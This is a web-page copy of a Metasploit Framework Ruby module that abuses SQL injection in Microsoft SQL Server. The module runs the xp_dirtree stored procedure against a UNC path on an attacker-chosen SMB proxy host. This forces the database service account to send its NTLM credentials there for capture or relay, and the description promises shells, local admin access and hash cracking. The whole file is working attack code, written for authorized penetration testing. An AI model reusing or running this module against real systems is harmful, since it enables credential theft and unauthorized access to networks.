Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL_SQLI
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',
14
'Description' => %q{
15
This module can be used to help capture or relay the LM/NTLM credentials of the
16
account running the remote SQL Server service. The module will use the SQL
17
injection from GET_PATH to connect to the target SQL Server instance and execute
18
the native "xp_dirtree" or stored procedure. The stored procedures will then
19
force the service account to authenticate to the system defined in the SMBProxy
20
option. In order for the attack to be successful, the SMB capture or relay module
21
must be running on the system defined as the SMBProxy. The database account used to
22
connect to the database should only require the "PUBLIC" role to execute.
23
Successful execution of this attack usually results in local administrative access
24
to the Windows system. Specifically, this works great for relaying credentials
25
between two SQL Servers using a shared service account to get shells. However, if
26
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
27
and john the ripper.
28
},
29
'Author' => [
30
'nullbind <scott.sutherland[at]netspi.com>',
31
'Antti <antti.rantasaari[at]netspi.com>'
32
],
33
'License' => MSF_LICENSE,
34
'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]],
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [IOC_IN_LOGS],
38
'Reliability' => []
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
46
]
47
)
48
end
49
50
def run
51
# Reminder
52
print_status('DONT FORGET to run a SMB capture or relay module!')
53
54
# Generate random file name
55
rand_filename = Rex::Text.rand_text_alpha(8, '')
56
57
# Setup query - double escaping backslashes
58
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
59
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
60
61
# Execute query to force authentication from backend database to smbproxy
62
mssql_query(sql)
63
end
64
end
65
66